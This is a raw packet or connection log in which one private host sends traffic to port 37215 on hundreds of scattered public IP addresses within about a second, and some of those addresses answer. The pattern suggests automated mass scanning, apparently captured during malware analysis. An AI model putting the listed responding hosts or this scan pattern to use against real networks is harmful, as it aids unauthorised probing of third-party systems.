Jan 1, 2024 12:52:05.050127029 CET	37751	37215	192.168.2.13	41.159.3.249
Jan 1, 2024 12:52:05.050127029 CET	37751	37215	192.168.2.13	181.154.162.240
Jan 1, 2024 12:52:05.050126076 CET	37751	37215	192.168.2.13	197.77.2.80
Jan 1, 2024 12:52:05.050127029 CET	37751	37215	192.168.2.13	156.101.238.220
Jan 1, 2024 12:52:05.050132036 CET	37751	37215	192.168.2.13	138.179.226.84
Jan 1, 2024 12:52:05.050132990 CET	37751	37215	192.168.2.13	197.161.206.1
Jan 1, 2024 12:52:05.050153017 CET	37751	37215	192.168.2.13	156.55.23.205
Jan 1, 2024 12:52:05.050153017 CET	37751	37215	192.168.2.13	197.70.216.6
Jan 1, 2024 12:52:05.050153971 CET	37751	37215	192.168.2.13	156.149.222.157
Jan 1, 2024 12:52:05.050153971 CET	37751	37215	192.168.2.13	41.202.211.165
Jan 1, 2024 12:52:05.050156116 CET	37751	37215	192.168.2.13	181.190.49.254
Jan 1, 2024 12:52:05.050156116 CET	37751	37215	192.168.2.13	122.169.206.125
Jan 1, 2024 12:52:05.050156116 CET	37751	37215	192.168.2.13	156.12.24.88
Jan 1, 2024 12:52:05.050158024 CET	37751	37215	192.168.2.13	197.78.73.187
Jan 1, 2024 12:52:05.050158024 CET	37751	37215	192.168.2.13	197.251.161.176
Jan 1, 2024 12:52:05.050158978 CET	37751	37215	192.168.2.13	102.252.253.205
Jan 1, 2024 12:52:05.050158978 CET	37751	37215	192.168.2.13	92.172.90.170
Jan 1, 2024 12:52:05.050158978 CET	37751	37215	192.168.2.13	121.235.11.31
Jan 1, 2024 12:52:05.050159931 CET	37751	37215	192.168.2.13	157.248.232.180
Jan 1, 2024 12:52:05.050159931 CET	37751	37215	192.168.2.13	197.152.163.238
Jan 1, 2024 12:52:05.050159931 CET	37751	37215	192.168.2.13	41.2.81.97
Jan 1, 2024 12:52:05.050159931 CET	37751	37215	192.168.2.13	160.73.98.20
Jan 1, 2024 12:52:05.050159931 CET	37751	37215	192.168.2.13	156.188.212.184
Jan 1, 2024 12:52:05.050175905 CET	37751	37215	192.168.2.13	41.62.203.111
Jan 1, 2024 12:52:05.050175905 CET	37751	37215	192.168.2.13	102.177.87.204
Jan 1, 2024 12:52:05.050177097 CET	37751	37215	192.168.2.13	156.100.157.230
Jan 1, 2024 12:52:05.050184965 CET	37751	37215	192.168.2.13	197.94.10.141
Jan 1, 2024 12:52:05.050184965 CET	37751	37215	192.168.2.13	197.189.237.227
Jan 1, 2024 12:52:05.050184965 CET	37751	37215	192.168.2.13	196.61.202.18
Jan 1, 2024 12:52:05.050189018 CET	37751	37215	192.168.2.13	197.196.32.57
Jan 1, 2024 12:52:05.050194979 CET	37751	37215	192.168.2.13	197.200.24.103
Jan 1, 2024 12:52:05.050194979 CET	37751	37215	192.168.2.13	41.29.157.108
Jan 1, 2024 12:52:05.050201893 CET	37751	37215	192.168.2.13	45.71.93.38
Jan 1, 2024 12:52:05.050201893 CET	37751	37215	192.168.2.13	121.119.34.52
Jan 1, 2024 12:52:05.050201893 CET	37751	37215	192.168.2.13	41.166.147.199
Jan 1, 2024 12:52:05.050208092 CET	37751	37215	192.168.2.13	41.110.125.114
Jan 1, 2024 12:52:05.050209999 CET	37751	37215	192.168.2.13	156.114.151.142
Jan 1, 2024 12:52:05.050209999 CET	37751	37215	192.168.2.13	41.214.3.169
Jan 1, 2024 12:52:05.050209999 CET	37751	37215	192.168.2.13	41.49.197.57
Jan 1, 2024 12:52:05.050209999 CET	37751	37215	192.168.2.13	95.98.149.205
Jan 1, 2024 12:52:05.050220013 CET	37751	37215	192.168.2.13	181.207.5.244
Jan 1, 2024 12:52:05.050220013 CET	37751	37215	192.168.2.13	160.131.142.231
Jan 1, 2024 12:52:05.050232887 CET	37751	37215	192.168.2.13	41.250.249.195
Jan 1, 2024 12:52:05.050232887 CET	37751	37215	192.168.2.13	222.31.255.109
Jan 1, 2024 12:52:05.050251007 CET	37751	37215	192.168.2.13	197.118.118.86
Jan 1, 2024 12:52:05.050251007 CET	37751	37215	192.168.2.13	197.136.165.171
Jan 1, 2024 12:52:05.050251961 CET	37751	37215	192.168.2.13	41.170.180.205
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	156.55.137.85
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	138.56.127.8
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	102.120.40.148
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	41.30.30.221
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	41.87.58.46
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	41.133.176.70
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	156.112.25.183
Jan 1, 2024 12:52:05.050256968 CET	37751	37215	192.168.2.13	197.59.26.228
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	197.164.214.84
Jan 1, 2024 12:52:05.050256968 CET	37751	37215	192.168.2.13	41.179.24.107
Jan 1, 2024 12:52:05.050252914 CET	37751	37215	192.168.2.13	122.155.105.49
Jan 1, 2024 12:52:05.050256968 CET	37751	37215	192.168.2.13	156.70.210.217
Jan 1, 2024 12:52:05.050256968 CET	37751	37215	192.168.2.13	92.204.24.119
Jan 1, 2024 12:52:05.050282001 CET	37751	37215	192.168.2.13	41.205.79.126
Jan 1, 2024 12:52:05.050282001 CET	37751	37215	192.168.2.13	92.83.87.61
Jan 1, 2024 12:52:05.050282001 CET	37751	37215	192.168.2.13	41.231.242.49
Jan 1, 2024 12:52:05.050282001 CET	37751	37215	192.168.2.13	196.200.149.85
Jan 1, 2024 12:52:05.050282955 CET	37751	37215	192.168.2.13	102.211.167.255
Jan 1, 2024 12:52:05.050282001 CET	37751	37215	192.168.2.13	156.234.68.187
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	197.85.229.139
Jan 1, 2024 12:52:05.050282955 CET	37751	37215	192.168.2.13	156.70.192.201
Jan 1, 2024 12:52:05.050285101 CET	37751	37215	192.168.2.13	156.47.114.73
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	107.252.59.119
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	197.171.217.52
Jan 1, 2024 12:52:05.050285101 CET	37751	37215	192.168.2.13	120.117.204.51
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	197.143.10.221
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	157.201.205.164
Jan 1, 2024 12:52:05.050286055 CET	37751	37215	192.168.2.13	94.202.249.246
Jan 1, 2024 12:52:05.050285101 CET	37751	37215	192.168.2.13	156.253.79.175
Jan 1, 2024 12:52:05.050285101 CET	37751	37215	192.168.2.13	41.72.225.55
Jan 1, 2024 12:52:05.050285101 CET	37751	37215	192.168.2.13	197.51.162.122
Jan 1, 2024 12:52:05.050311089 CET	37751	37215	192.168.2.13	156.192.92.204
Jan 1, 2024 12:52:05.050311089 CET	37751	37215	192.168.2.13	41.203.105.62
Jan 1, 2024 12:52:05.050311089 CET	37751	37215	192.168.2.13	120.183.107.11
Jan 1, 2024 12:52:05.050311089 CET	37751	37215	192.168.2.13	197.133.231.136
Jan 1, 2024 12:52:05.050312042 CET	37751	37215	192.168.2.13	41.7.24.225
Jan 1, 2024 12:52:05.050328016 CET	37751	37215	192.168.2.13	156.94.30.49
Jan 1, 2024 12:52:05.050328016 CET	37751	37215	192.168.2.13	107.117.70.100
Jan 1, 2024 12:52:05.050328016 CET	37751	37215	192.168.2.13	181.117.125.242
Jan 1, 2024 12:52:05.050337076 CET	37751	37215	192.168.2.13	190.233.233.59
Jan 1, 2024 12:52:05.050338030 CET	37751	37215	192.168.2.13	41.22.71.32
Jan 1, 2024 12:52:05.050338030 CET	37751	37215	192.168.2.13	222.27.28.227
Jan 1, 2024 12:52:05.050338984 CET	37751	37215	192.168.2.13	156.46.208.182
Jan 1, 2024 12:52:05.050338030 CET	37751	37215	192.168.2.13	186.142.55.55
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	154.42.176.0
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	197.99.250.147
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	122.85.122.221
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	41.226.196.46
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	120.36.165.37
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	156.121.37.153
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	41.211.74.195
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	41.92.149.230
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	41.125.226.232
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	197.48.30.181
Jan 1, 2024 12:52:05.050342083 CET	37751	37215	192.168.2.13	41.48.214.253
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	41.183.146.126
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	197.228.216.25
Jan 1, 2024 12:52:05.050343990 CET	37751	37215	192.168.2.13	197.222.28.76
Jan 1, 2024 12:52:05.050371885 CET	37751	37215	192.168.2.13	197.36.206.74
Jan 1, 2024 12:52:05.050371885 CET	37751	37215	192.168.2.13	120.183.107.36
Jan 1, 2024 12:52:05.050379038 CET	37751	37215	192.168.2.13	197.236.104.183
Jan 1, 2024 12:52:05.050379038 CET	37751	37215	192.168.2.13	156.64.2.165
Jan 1, 2024 12:52:05.050379038 CET	37751	37215	192.168.2.13	41.93.22.91
Jan 1, 2024 12:52:05.050379038 CET	37751	37215	192.168.2.13	41.234.64.202
Jan 1, 2024 12:52:05.050381899 CET	37751	37215	192.168.2.13	154.66.61.180
Jan 1, 2024 12:52:05.050381899 CET	37751	37215	192.168.2.13	156.82.184.85
Jan 1, 2024 12:52:05.050381899 CET	37751	37215	192.168.2.13	156.72.86.162
Jan 1, 2024 12:52:05.050384045 CET	37751	37215	192.168.2.13	37.125.71.113
Jan 1, 2024 12:52:05.050389051 CET	37751	37215	192.168.2.13	41.249.99.218
Jan 1, 2024 12:52:05.050389051 CET	37751	37215	192.168.2.13	122.98.150.226
Jan 1, 2024 12:52:05.050389051 CET	37751	37215	192.168.2.13	160.176.251.228
Jan 1, 2024 12:52:05.050389051 CET	37751	37215	192.168.2.13	95.171.129.136
Jan 1, 2024 12:52:05.050390005 CET	37751	37215	192.168.2.13	222.237.134.56
Jan 1, 2024 12:52:05.050390005 CET	37751	37215	192.168.2.13	156.127.91.175
Jan 1, 2024 12:52:05.050390005 CET	37751	37215	192.168.2.13	156.87.229.51
Jan 1, 2024 12:52:05.050393105 CET	37751	37215	192.168.2.13	156.169.136.124
Jan 1, 2024 12:52:05.050407887 CET	37751	37215	192.168.2.13	41.186.113.134
Jan 1, 2024 12:52:05.050409079 CET	37751	37215	192.168.2.13	41.186.234.94
Jan 1, 2024 12:52:05.050409079 CET	37751	37215	192.168.2.13	190.215.155.234
Jan 1, 2024 12:52:05.050409079 CET	37751	37215	192.168.2.13	122.226.52.196
Jan 1, 2024 12:52:05.050410032 CET	37751	37215	192.168.2.13	197.196.184.51
Jan 1, 2024 12:52:05.050411940 CET	37751	37215	192.168.2.13	41.55.214.120
Jan 1, 2024 12:52:05.050410032 CET	37751	37215	192.168.2.13	41.242.12.176
Jan 1, 2024 12:52:05.050411940 CET	37751	37215	192.168.2.13	41.203.99.118
Jan 1, 2024 12:52:05.050410032 CET	37751	37215	192.168.2.13	41.200.245.24
Jan 1, 2024 12:52:05.050410032 CET	37751	37215	192.168.2.13	156.170.94.207
Jan 1, 2024 12:52:05.050421000 CET	37751	37215	192.168.2.13	197.126.92.227
Jan 1, 2024 12:52:05.050451040 CET	37751	37215	192.168.2.13	156.211.3.15
Jan 1, 2024 12:52:05.050451040 CET	37751	37215	192.168.2.13	181.112.157.155
Jan 1, 2024 12:52:05.050451040 CET	37751	37215	192.168.2.13	156.93.70.14
Jan 1, 2024 12:52:05.050451994 CET	37751	37215	192.168.2.13	197.168.37.124
Jan 1, 2024 12:52:05.050452948 CET	37751	37215	192.168.2.13	156.249.45.199
Jan 1, 2024 12:52:05.050452948 CET	37751	37215	192.168.2.13	121.175.184.96
Jan 1, 2024 12:52:05.050455093 CET	37751	37215	192.168.2.13	160.170.226.172
Jan 1, 2024 12:52:05.050455093 CET	37751	37215	192.168.2.13	197.34.240.216
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	37.57.86.175
Jan 1, 2024 12:52:05.050456047 CET	37751	37215	192.168.2.13	197.38.89.134
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	197.216.56.113
Jan 1, 2024 12:52:05.050456047 CET	37751	37215	192.168.2.13	37.101.12.30
Jan 1, 2024 12:52:05.050455093 CET	37751	37215	192.168.2.13	156.221.224.173
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	160.133.150.42
Jan 1, 2024 12:52:05.050456047 CET	37751	37215	192.168.2.13	41.0.50.20
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	41.96.58.235
Jan 1, 2024 12:52:05.050455093 CET	37751	37215	192.168.2.13	197.164.189.191
Jan 1, 2024 12:52:05.050456047 CET	37751	37215	192.168.2.13	197.65.57.159
Jan 1, 2024 12:52:05.050455093 CET	37751	37215	192.168.2.13	41.173.175.176
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	197.99.248.92
Jan 1, 2024 12:52:05.050457001 CET	37751	37215	192.168.2.13	197.38.115.165
Jan 1, 2024 12:52:05.050477028 CET	37751	37215	192.168.2.13	156.134.167.111
Jan 1, 2024 12:52:05.050477982 CET	37751	37215	192.168.2.13	156.32.176.169
Jan 1, 2024 12:52:05.050477028 CET	37751	37215	192.168.2.13	197.184.213.155
Jan 1, 2024 12:52:05.050477982 CET	37751	37215	192.168.2.13	156.64.11.181
Jan 1, 2024 12:52:05.050477028 CET	37751	37215	192.168.2.13	121.107.94.11
Jan 1, 2024 12:52:05.050477982 CET	37751	37215	192.168.2.13	197.183.186.144
Jan 1, 2024 12:52:05.050479889 CET	37751	37215	192.168.2.13	41.80.172.146
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	41.212.65.131
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	41.222.19.37
Jan 1, 2024 12:52:05.050508976 CET	37751	37215	192.168.2.13	157.156.5.29
Jan 1, 2024 12:52:05.050508976 CET	37751	37215	192.168.2.13	197.110.221.108
Jan 1, 2024 12:52:05.050508976 CET	37751	37215	192.168.2.13	94.212.41.50
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	41.26.116.190
Jan 1, 2024 12:52:05.050513029 CET	37751	37215	192.168.2.13	41.112.159.227
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	120.226.22.202
Jan 1, 2024 12:52:05.050513983 CET	37751	37215	192.168.2.13	45.146.89.154
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	122.121.188.191
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	197.49.174.247
Jan 1, 2024 12:52:05.050508022 CET	37751	37215	192.168.2.13	197.27.167.231
Jan 1, 2024 12:52:05.050520897 CET	37751	37215	192.168.2.13	120.210.102.84
Jan 1, 2024 12:52:05.050520897 CET	37751	37215	192.168.2.13	156.240.56.129
Jan 1, 2024 12:52:05.050520897 CET	37751	37215	192.168.2.13	160.246.64.32
Jan 1, 2024 12:52:05.050523043 CET	37751	37215	192.168.2.13	122.176.7.149
Jan 1, 2024 12:52:05.050523043 CET	37751	37215	192.168.2.13	156.138.5.238
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	156.238.242.173
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	156.170.194.126
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	190.128.32.184
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	41.145.5.225
Jan 1, 2024 12:52:05.050527096 CET	37751	37215	192.168.2.13	41.148.233.49
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	197.134.189.43
Jan 1, 2024 12:52:05.050523996 CET	37751	37215	192.168.2.13	197.200.203.52
Jan 1, 2024 12:52:05.050527096 CET	37751	37215	192.168.2.13	156.68.84.190
Jan 1, 2024 12:52:05.050538063 CET	37751	37215	192.168.2.13	102.230.57.71
Jan 1, 2024 12:52:05.050540924 CET	37751	37215	192.168.2.13	157.98.227.14
Jan 1, 2024 12:52:05.323055029 CET	37215	37751	186.221.221.88	192.168.2.13
Jan 1, 2024 12:52:05.338042021 CET	37215	37751	94.122.86.182	192.168.2.13
Jan 1, 2024 12:52:05.338098049 CET	37751	37215	192.168.2.13	94.122.86.182
Jan 1, 2024 12:52:05.343907118 CET	37215	37751	197.26.212.78	192.168.2.13
Jan 1, 2024 12:52:05.362562895 CET	37215	37751	222.246.22.153	192.168.2.13
Jan 1, 2024 12:52:05.373568058 CET	37215	37751	154.220.62.155	192.168.2.13
Jan 1, 2024 12:52:05.396842003 CET	37215	37751	94.182.243.80	192.168.2.13
Jan 1, 2024 12:52:05.406223059 CET	37215	37751	197.4.25.157	192.168.2.13
Jan 1, 2024 12:52:05.432754040 CET	37215	37751	197.7.84.27	192.168.2.13
Jan 1, 2024 12:52:05.437860966 CET	37215	37751	197.254.41.207	192.168.2.13
Jan 1, 2024 12:52:05.448627949 CET	37215	37751	41.215.23.49	192.168.2.13
Jan 1, 2024 12:52:05.490933895 CET	37215	37751	41.175.202.231	192.168.2.13
Jan 1, 2024 12:52:06.051333904 CET	37751	37215	192.168.2.13	156.18.178.170
Jan 1, 2024 12:52:06.051337004 CET	37751	37215	192.168.2.13	190.79.233.245
Jan 1, 2024 12:52:06.051340103 CET	37751	37215	192.168.2.13	157.63.177.249
Jan 1, 2024 12:52:06.051353931 CET	37751	37215	192.168.2.13	41.196.149.201
Jan 1, 2024 12:52:06.051371098 CET	37751	37215	192.168.2.13	94.15.140.136
Jan 1, 2024 12:52:06.051372051 CET	37751	37215	192.168.2.13	154.197.103.226
Jan 1, 2024 12:52:06.051373005 CET	37751	37215	192.168.2.13	197.3.28.81
Jan 1, 2024 12:52:06.051383018 CET	37751	37215	192.168.2.13	41.206.38.26
Jan 1, 2024 12:52:06.051383018 CET	37751	37215	192.168.2.13	41.163.130.105
Jan 1, 2024 12:52:06.051384926 CET	37751	37215	192.168.2.13	41.35.8.81
Jan 1, 2024 12:52:06.051384926 CET	37751	37215	192.168.2.13	197.164.252.161
Jan 1, 2024 12:52:06.051383972 CET	37751	37215	192.168.2.13	197.139.228.58
Jan 1, 2024 12:52:06.051383972 CET	37751	37215	192.168.2.13	156.142.197.206
Jan 1, 2024 12:52:06.051383972 CET	37751	37215	192.168.2.13	156.39.113.17
Jan 1, 2024 12:52:06.051383972 CET	37751	37215	192.168.2.13	197.228.214.102
Jan 1, 2024 12:52:06.051395893 CET	37751	37215	192.168.2.13	41.23.146.202
Jan 1, 2024 12:52:06.051395893 CET	37751	37215	192.168.2.13	156.213.74.81
Jan 1, 2024 12:52:06.051402092 CET	37751	37215	192.168.2.13	197.223.173.159
Jan 1, 2024 12:52:06.051402092 CET	37751	37215	192.168.2.13	197.95.66.228
Jan 1, 2024 12:52:06.051402092 CET	37751	37215	192.168.2.13	197.80.15.10
Jan 1, 2024 12:52:06.051412106 CET	37751	37215	192.168.2.13	222.56.1.136
Jan 1, 2024 12:52:06.051414013 CET	37751	37215	192.168.2.13	45.156.248.152
Jan 1, 2024 12:52:06.051414967 CET	37751	37215	192.168.2.13	197.114.37.102
Jan 1, 2024 12:52:06.051429987 CET	37751	37215	192.168.2.13	157.218.63.154
Jan 1, 2024 12:52:06.051440954 CET	37751	37215	192.168.2.13	121.73.78.24
Jan 1, 2024 12:52:06.051443100 CET	37751	37215	192.168.2.13	190.127.151.108
Jan 1, 2024 12:52:06.051443100 CET	37751	37215	192.168.2.13	196.65.23.30
Jan 1, 2024 12:52:06.051443100 CET	37751	37215	192.168.2.13	156.233.167.45
Jan 1, 2024 12:52:06.051451921 CET	37751	37215	192.168.2.13	156.28.205.99
Jan 1, 2024 12:52:06.051457882 CET	37751	37215	192.168.2.13	156.216.155.54
Jan 1, 2024 12:52:06.051460981 CET	37751	37215	192.168.2.13	196.135.181.31
Jan 1, 2024 12:52:06.051460981 CET	37751	37215	192.168.2.13	41.66.188.189
Jan 1, 2024 12:52:06.051471949 CET	37751	37215	192.168.2.13	197.245.222.29
Jan 1, 2024 12:52:06.051471949 CET	37751	37215	192.168.2.13	156.29.206.225
Jan 1, 2024 12:52:06.051471949 CET	37751	37215	192.168.2.13	41.253.130.101
Jan 1, 2024 12:52:06.051471949 CET	37751	37215	192.168.2.13	102.7.63.153
Jan 1, 2024 12:52:06.051487923 CET	37751	37215	192.168.2.13	41.71.184.200
Jan 1, 2024 12:52:06.051490068 CET	37751	37215	192.168.2.13	41.57.117.54
Jan 1, 2024 12:52:06.051490068 CET	37751	37215	192.168.2.13	37.65.113.66
Jan 1, 2024 12:52:06.051491976 CET	37751	37215	192.168.2.13	197.106.66.210
Jan 1, 2024 12:52:06.051495075 CET	37751	37215	192.168.2.13	197.24.76.85
Jan 1, 2024 12:52:06.051495075 CET	37751	37215	192.168.2.13	41.254.5.160
Jan 1, 2024 12:52:06.051497936 CET	37751	37215	192.168.2.13	222.44.201.230
Jan 1, 2024 12:52:06.051497936 CET	37751	37215	192.168.2.13	45.81.253.49
Jan 1, 2024 12:52:06.051505089 CET	37751	37215	192.168.2.13	222.229.2.41
Jan 1, 2024 12:52:06.051506042 CET	37751	37215	192.168.2.13	41.57.82.121
Jan 1, 2024 12:52:06.051508904 CET	37751	37215	192.168.2.13	156.177.61.161
Jan 1, 2024 12:52:06.051512003 CET	37751	37215	192.168.2.13	156.147.59.171
Jan 1, 2024 12:52:06.051521063 CET	37751	37215	192.168.2.13	107.16.51.178
Jan 1, 2024 12:52:06.051526070 CET	37751	37215	192.168.2.13	154.225.4.164
Jan 1, 2024 12:52:06.051526070 CET	37751	37215	192.168.2.13	197.224.6.151
Jan 1, 2024 12:52:06.051528931 CET	37751	37215	192.168.2.13	41.162.137.224
Jan 1, 2024 12:52:06.051528931 CET	37751	37215	192.168.2.13	190.211.31.93
Jan 1, 2024 12:52:06.051528931 CET	37751	37215	192.168.2.13	95.114.163.188
Jan 1, 2024 12:52:06.051533937 CET	37751	37215	192.168.2.13	41.37.141.86
Jan 1, 2024 12:52:06.051537037 CET	37751	37215	192.168.2.13	92.9.171.39
Jan 1, 2024 12:52:06.051537037 CET	37751	37215	192.168.2.13	197.65.250.128
Jan 1, 2024 12:52:06.051539898 CET	37751	37215	192.168.2.13	197.126.243.215
Jan 1, 2024 12:52:06.051543951 CET	37751	37215	192.168.2.13	120.235.177.148
Jan 1, 2024 12:52:06.051544905 CET	37751	37215	192.168.2.13	190.4.185.100
Jan 1, 2024 12:52:06.051551104 CET	37751	37215	192.168.2.13	41.125.184.194
Jan 1, 2024 12:52:06.051557064 CET	37751	37215	192.168.2.13	156.224.25.18
Jan 1, 2024 12:52:06.051558018 CET	37751	37215	192.168.2.13	156.52.126.240
Jan 1, 2024 12:52:06.051564932 CET	37751	37215	192.168.2.13	95.193.105.146
Jan 1, 2024 12:52:06.051564932 CET	37751	37215	192.168.2.13	138.204.168.221
Jan 1, 2024 12:52:06.051564932 CET	37751	37215	192.168.2.13	95.229.90.112
Jan 1, 2024 12:52:06.051582098 CET	37751	37215	192.168.2.13	190.32.115.88
Jan 1, 2024 12:52:06.051589012 CET	37751	37215	192.168.2.13	154.158.27.52
Jan 1, 2024 12:52:06.051589966 CET	37751	37215	192.168.2.13	41.35.150.10
Jan 1, 2024 12:52:06.051589966 CET	37751	37215	192.168.2.13	186.39.77.58
Jan 1, 2024 12:52:06.051589012 CET	37751	37215	192.168.2.13	156.132.209.51
Jan 1, 2024 12:52:06.051595926 CET	37751	37215	192.168.2.13	222.30.173.149
Jan 1, 2024 12:52:06.051600933 CET	37751	37215	192.168.2.13	41.217.128.20
Jan 1, 2024 12:52:06.051600933 CET	37751	37215	192.168.2.13	156.214.26.164
Jan 1, 2024 12:52:06.051605940 CET	37751	37215	192.168.2.13	197.68.8.185
Jan 1, 2024 12:52:06.051610947 CET	37751	37215	192.168.2.13	156.120.213.48
Jan 1, 2024 12:52:06.051615000 CET	37751	37215	192.168.2.13	186.66.125.66
Jan 1, 2024 12:52:06.051624060 CET	37751	37215	192.168.2.13	156.116.240.178
Jan 1, 2024 12:52:06.051625013 CET	37751	37215	192.168.2.13	197.117.199.213
Jan 1, 2024 12:52:06.051634073 CET	37751	37215	192.168.2.13	190.58.202.255
Jan 1, 2024 12:52:06.051635981 CET	37751	37215	192.168.2.13	197.40.14.20
Jan 1, 2024 12:52:06.051659107 CET	37751	37215	192.168.2.13	156.81.47.236
Jan 1, 2024 12:52:06.051659107 CET	37751	37215	192.168.2.13	156.41.138.128
Jan 1, 2024 12:52:06.051659107 CET	37751	37215	192.168.2.13	156.249.185.147
Jan 1, 2024 12:52:06.051660061 CET	37751	37215	192.168.2.13	156.38.241.202
Jan 1, 2024 12:52:06.051660061 CET	37751	37215	192.168.2.13	138.166.149.51
Jan 1, 2024 12:52:06.051660061 CET	37751	37215	192.168.2.13	41.214.242.162
Jan 1, 2024 12:52:06.051661015 CET	37751	37215	192.168.2.13	41.195.207.169
Jan 1, 2024 12:52:06.051660061 CET	37751	37215	192.168.2.13	186.147.153.5
Jan 1, 2024 12:52:06.051678896 CET	37751	37215	192.168.2.13	197.35.22.116
Jan 1, 2024 12:52:06.051683903 CET	37751	37215	192.168.2.13	197.229.72.251
Jan 1, 2024 12:52:06.051691055 CET	37751	37215	192.168.2.13	181.167.72.89
Jan 1, 2024 12:52:06.051691055 CET	37751	37215	192.168.2.13	41.227.57.199
Jan 1, 2024 12:52:06.051691055 CET	37751	37215	192.168.2.13	197.75.120.249
Jan 1, 2024 12:52:06.051696062 CET	37751	37215	192.168.2.13	41.131.63.62
Jan 1, 2024 12:52:06.051696062 CET	37751	37215	192.168.2.13	197.233.215.136
Jan 1, 2024 12:52:06.051717043 CET	37751	37215	192.168.2.13	41.207.189.193
Jan 1, 2024 12:52:06.051718950 CET	37751	37215	192.168.2.13	197.56.94.53
Jan 1, 2024 12:52:06.051718950 CET	37751	37215	192.168.2.13	37.44.35.231
Jan 1, 2024 12:52:06.051723003 CET	37751	37215	192.168.2.13	156.174.34.83
Jan 1, 2024 12:52:06.051726103 CET	37751	37215	192.168.2.13	154.102.43.96
Jan 1, 2024 12:52:06.051736116 CET	37751	37215	192.168.2.13	45.27.172.82
Jan 1, 2024 12:52:06.051742077 CET	37751	37215	192.168.2.13	120.91.77.223
Jan 1, 2024 12:52:06.051743984 CET	37751	37215	192.168.2.13	222.189.39.253
Jan 1, 2024 12:52:06.051749945 CET	37751	37215	192.168.2.13	197.208.48.176
Jan 1, 2024 12:52:06.051758051 CET	37751	37215	192.168.2.13	197.39.137.86
Jan 1, 2024 12:52:06.051762104 CET	37751	37215	192.168.2.13	156.56.17.241
Jan 1, 2024 12:52:06.051768064 CET	37751	37215	192.168.2.13	197.37.204.118
Jan 1, 2024 12:52:06.051769018 CET	37751	37215	192.168.2.13	41.137.164.84
Jan 1, 2024 12:52:06.051783085 CET	37751	37215	192.168.2.13	197.218.120.34
Jan 1, 2024 12:52:06.051783085 CET	37751	37215	192.168.2.13	157.221.178.70
Jan 1, 2024 12:52:06.051783085 CET	37751	37215	192.168.2.13	197.167.172.27
Jan 1, 2024 12:52:06.051800013 CET	37751	37215	192.168.2.13	41.27.174.238
Jan 1, 2024 12:52:06.051800013 CET	37751	37215	192.168.2.13	156.219.91.12
Jan 1, 2024 12:52:06.051804066 CET	37751	37215	192.168.2.13	41.180.78.175
Jan 1, 2024 12:52:06.051806927 CET	37751	37215	192.168.2.13	41.78.99.57
Jan 1, 2024 12:52:06.051820993 CET	37751	37215	192.168.2.13	45.65.216.176
Jan 1, 2024 12:52:06.051821947 CET	37751	37215	192.168.2.13	41.18.2.226
Jan 1, 2024 12:52:06.051825047 CET	37751	37215	192.168.2.13	197.190.221.215
Jan 1, 2024 12:52:06.051827908 CET	37751	37215	192.168.2.13	95.236.226.128
Jan 1, 2024 12:52:06.051827908 CET	37751	37215	192.168.2.13	156.20.118.227
Jan 1, 2024 12:52:06.051836967 CET	37751	37215	192.168.2.13	156.181.89.246
Jan 1, 2024 12:52:06.051846981 CET	37751	37215	192.168.2.13	156.82.159.110
Jan 1, 2024 12:52:06.051846981 CET	37751	37215	192.168.2.13	41.35.235.83
Jan 1, 2024 12:52:06.051862001 CET	37751	37215	192.168.2.13	154.196.202.127
Jan 1, 2024 12:52:06.051862001 CET	37751	37215	192.168.2.13	94.93.157.122
Jan 1, 2024 12:52:06.051867962 CET	37751	37215	192.168.2.13	41.93.100.251
Jan 1, 2024 12:52:06.051867962 CET	37751	37215	192.168.2.13	197.41.194.43
Jan 1, 2024 12:52:06.051877022 CET	37751	37215	192.168.2.13	41.102.235.162
Jan 1, 2024 12:52:06.051877022 CET	37751	37215	192.168.2.13	197.113.144.171
Jan 1, 2024 12:52:06.051898956 CET	37751	37215	192.168.2.13	156.82.215.237
Jan 1, 2024 12:52:06.051899910 CET	37751	37215	192.168.2.13	41.20.42.253
